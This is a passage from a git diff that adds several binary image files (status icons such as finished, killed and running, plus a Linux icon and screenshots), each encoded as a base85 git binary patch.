zcmX|=UuauZ9LK*myXn?7b@LLkE)?k`jIQP((;=12)OMNMB%ngjmpp9t3O-~oWVi|! zyvwRit)u@QdKb8h38v|TriLY!Fs^zD zC`8J|G-(kd7bZ>9w#qtZuDb2@6LcqH7TiWYNq4wsidZSi-3lqXBkS2kJ)5L0o}mD5 zn}7s>;UL2n!)eCHv(u~!Chf*W`eTYBXT{Au{ z0o7eiY+u9H2&4o!XaECEEX_hypj-lTg3W;`Ugrd{=kT5W#tul<4g3#2TSiwj>9!MH8Xr({o>q0&$OsM z|8B3#G5+F@_QZxmJhUIa?c>YeTpbx z{rIs9xAr&=Jabv?f3&Rj4UZ%PkCtmceg3R;OT8QD`Tn~1z+1}Gcdt77dK@2WqpLT^ Y=X<>Fp*Kf=o^T!7qiQ#w3k)InFA21)o&W#< literal 0 HcmV?d00001 diff --git a/images/finished.gif b/images/finished.gif new file mode 100644 index 0000000000000000000000000000000000000000..8757111faef52588ba7e60fb6970bdf12f22cf7d GIT binary patch literal 184 zcmZ?wbhEHbOkv<+IK<8X0vsHQmJ*6ihL$ZsmQ#|W&h`BN|6lQ+pmR}bVo7R>LV0FM zhJw4NZvcZ1NHs_!19Jh#t~>t>PI;~tIWog&!?SzWQj<6)JvU$VENW3M&*Ho+4I}U8 z>)(BMh;CF@*;TOniGM`4ROk7dpEx@F);cb~Guh;{e$_VsgdGFSruJ9tXb literal 0 HcmV?d00001 diff --git a/images/finished.png b/images/finished.png new file mode 100644 index 0000000000000000000000000000000000000000..d9b0c45f722c74248e620fd0662be9328d6e8ee1 GIT binary patch literal 191 zcmeAS@N?(olHy`uVBq!ia0vp^DL~A{!VDxg7(Md^QjEnx?oJHr&dIz4azq1sLR^6~ z0|$qqrG%oBp=C>u<&@;8b3G^47}^5GISV`@iy0WWg+Z8+Vb&Z8pdfpRr>`sfT@GnZ z9frq$^7Mg12A(dCArhC96BJ|(b}p5A=&F@@FhPVx)I&lgDk$XAoP$ww?gX*TKHRjB fZ}9=KONSgeB^>bP0l+XkK9N9BV literal 0 HcmV?d00001 diff --git a/images/hp-big.jpg b/images/hp-big.jpg new file mode 100644 index 0000000000000000000000000000000000000000..a3ee7f78dda101398c1f2601a07ea24a086099ec GIT binary patch literal 5752 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 literal 0 HcmV?d00001 diff --git a/images/killed.png b/images/killed.png new file mode 100644 index 0000000000000000000000000000000000000000..0cc9920e68b462e7518766165699cc609de5c707 GIT binary patch literal 208 zcmeAS@N?(olHy`uVBq!ia0vp^DL~A{!2~4F*5zmdDaPU;cPEB*=VV?2Ih+L^k;M!Q z+`=Ht$S`Y;1W=H@#M9T6{VsF<|`wLYsegDh8b}NUR{b`d~aUJZ78%+-}y}rD^zGBCfOGZ9S z-Tj@M{L`bN+%`Y#INxS+$;f82V(*q7rb`SAF?kaO66a1_4z!KI)78&qol`;+0EJFK A?f?J) literal 0 HcmV?d00001 diff --git a/images/linux-icon.png b/images/linux-icon.png new file mode 100644 index 0000000000000000000000000000000000000000..ff634188161cff3f13b9843006e6513123db66e7 GIT binary patch literal 2772 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 literal 0 HcmV?d00001 diff --git a/images/question-icon.png b/images/question-icon.png new file mode 100644 index 0000000000000000000000000000000000000000..75ebfc92b448ba5b2be41d3c7211cbc49a383f67 GIT binary patch literal 1051 zcmV+$1mydPP)rQAS%(5IK5y$GT2ERB*~Ek>C}}%XhFkuD zJmepcq7L@^Ewcyp&2Q$-%nNl!Z02(X_2taher3*&L zl2Or04gkF>3J3r+;uAEmfQp42zb@ws1R$<)h(c=-V+~*?tb+i=LmmrKojOp>YQvSR zc6a5P_osiYu<3;rHvVm16(#{N{nkJLq7Th2n|yooVb*eNpVEU#zMWzNFchF16&NXq z%$;`a*v8zpW_J2uwU!SJeVk!8l5g1ZpMOSfMuGsuIiBx5b+jhLo?pMfs&;NS3W&_? zLJsEB+#&^2PbGkINsS;a@woM*F$Ah%Z#Z`^yr)1RS(2ezlmxHPo@zgPBsT#{KOneY zPtNBCzLvqEO2fe6*oAWpHpqo1juWkZ=6 z+Qn+ZvXDwBfdFw#);}$S>!9DG3vHa}EIA9pZB!NKt}kulqtXiHj%`T8==XS)6*#Q; zWGbFpP=UcY4jO~3SKgIWT95A7aWYAaPtI$Bc*RJex?1)KY6aE8^p1W}b-f7bTD(QK zE|oS0Tb27SGpe_Y$YLa98v9w+^YYVEa zA9y!qYwJh~k~U4ZA`MF#MiYxv2tMTK{sOis7z19KmMpGpgQWNxS*tkWb`OpM3Kv)3 zrLM&n_$d}#xqcQ_T>*v2iuSlX>j;_-8c0_sR`P2TQ4KLnyICYZ7+3 zxT?JTbi^b!`h9N)@mO&J;!=yUxsXS1{P4vM07$|sQz?URn6?tbC~aaZ9fp<=#!)?1 zP(IZy0gN&PO6TY;#(_cw0{FloCj5L!>oAmWko8#3YM7aN0N{?!mrakS>v)lh8(1jI zE!<;r=3ZvwPc_^^Q4SPg^1ZP%ccGMx#hf(|0bHYpm9nyW5IB%xYwO=ZLDPQ$1^|z2 Vp~M?+L(BjG002ovPDHLkV1k~P*0=xw literal 0 HcmV?d00001 diff --git a/images/running.gif b/images/running.gif new file mode 100644 index 0000000000000000000000000000000000000000..8fc37154c58b762126d327f8aa0be197c0341409 GIT binary patch literal 823 zcmZ?wbhEHbOkv<+Si}GZ92|<45{gcSmMuY+Q<9_3^#DZ`|8x7fh6Fo12DlpO889<~ zgnqKHaxt(o=zuhVv@)zY4kmrntL~VU5<33)bqx?+!G6Rm4I;@6k;EGu4^+wu_8c!TDW1yP On$FQXAu3Xc!5RQ2SI=qy literal 0 HcmV?d00001 diff --git a/images/screenshot-big.jpg b/images/screenshot-big.jpg new file mode 100644 index 0000000000000000000000000000000000000000..35d8f7008fb8d56176f932f28a0868175551a0d8 GIT binary patch literal 2772 zcmaJ>c{~&T8{fVQfC{j6c{MPUL`n|sY{obGV>v=w(=lyv-&+~fzc(y-mPXMHCEUYa6Kp+4B z6db_zC?F27Lqt>-4wsXK%gW2iA`}ovguoz_6p#u^it-BbD0z7W)Nb@nWvrq+LR|;5 zYcEbqOACR*lkofWckk2E1d5A`Lm^P4lr%z9Ls?x@0Nfw*$Larb`6ocq-1mw*mW4?ULclLi?BtmZ1^) z!pfv;T|7H%!up-ud;_Z=cm2&x+Mel=T-eY|vyuQUc8$89h5wpjcOGAVYCtxvQ7o%gorWkfbJ)S3-N%_Qhq9^t|wNh;p zdeSF6XmXa=8+u~2g|+gfWXz>7u4|a<_ZXd-bC(t-xx5PA$*DE%v@0p*B%#-3J50p0 zC-fgOtzRgNq=D^RKe;qjTJ_VVnQKB$dv511#o7anI zYR^GdNeDQt&QTn8=VbJP@#Ry2uHJ)mt3>3$!xYrWe{Fj5c_S%ICQAje-QMcJgj|J^o*tm%O%yKuOjtvd7rs7wk53FI!-i4xHJm6S5)xGRn zID%85KeA(#75t>RYbDx!u6W|^os~#E_-?Iy>17nlT~bPzb!ih(K0L&oedOWZfYNSy zyd;0-rpBHY^URWBe43{RW%9X+YORpWsd3W0!8-l>Ny>Px!T!Y@y@tjPI;}CfoO|*3 zT`MOX>a(nog-YAAB->_uIL~Kr(|NV%aaMQ}XYp7-EsmcS5O)-cQ^C_?ry5JlOxz$h zQ3el<@5y!bo}CSZBt==cZUeZl&GNvmQGziZTd|X-VmZ&-kG ze<_sr(D(b$@H))K-E^9aV}E1r?1(z9CAn~1`*3r0-_+pNW%oYgkt0pE5!V%^_Ntum zQu;}Os{KqmQA(L{^^+V5ir-)wJ}WP3JDJPc2E5+gtuipD*S}LVYI-jHt-pgjCx)ND z=sN~gC@qhCqgJ1QTCg>CA^I9_9<*hKG1N7eI7c^bg%;3kFiy;Y! zqxiC%8M*BFDgC)Ybsbxq0MbcwQqSXCL_>NWUiy~afd`l5P1 zZJf=YRjTD7^mYexJpl{tPrkM4y+)2JdK?`ZHM~POI1T4b$Ee&XVOm9eZlE%LbbP#V zkXq{4HeiSm;oqvY_mVVRYTWzutBqq@;;YkMEA@pvF^wlrN>fktXPAOs9bvR{1uJ3- z2Z|MTmL@BbTdJ(cuaEzo?&GU!YN9jFnI~1Rhk_{&v)wD7=^8A#Jhy2iQO#u>*|t{b zggW0Dw;W<-PUJD?evF=)KSMaWESBBQ7Ga%NKYkV0dvJ=$O7DE2D+8X=TZU4&>_Dj8 zJ+&*;y!0^rP}=CrsE9`k!As$MQ6HhVY1CM(s+ePk!QLLj(m4&~X=nbYOJu9!{9}a9rxpJGZ*!L` zO08+hF?pKud7bLNgF1{e{(=UOcD)YfUYFDvjUCD+JoZ17=YI0Z+as3Q z4rTUwUaJiYKOEQoG4VUHZ};IOjTotSKnh1~rm}sm)bR5GX>de%iZFpG5u5>&0zpo@lAyer|*&qNK(%ha`TAZrcE zg`iHgq|*dGZ~FS*>6=a6SerBRmp7v))I*WZ4vZL1QPy{beJ?HJ`&TX#pDD+;W@EFa zp7Nyjru0}QEB)#`AUe?>V}Cw8;o&NT{RUnH4@n)qf5-1RvsWuM{RUw!y^m$?Vb#hS z3Nk_KdqwOaS)6<650TS|aYVj%Jgt!N1b3jY7ou&#WCwkNitr#(&VzOQli?h)X2rLA|`H1H`%=Ns4<`Y%=FTbeN^O5 fNNn;>;yr-T6(0k^t?iFLeHU>Aa6Q>tD&B;#UIEg21X7-!io&ENknQy7TTJ^wxJ z-gmADJak`^$kh$-kZZ~10C@DV$GkL}wq&tLJgl{~bp)1V{CE(SU@ZPvy!lJ@Skzcl zSngoC5*QSCj^nrsGMUf$Z`ZABbM>?IM{)@O=Fgu$M5EEnZfk3sgMX$W6C?C`y-26i 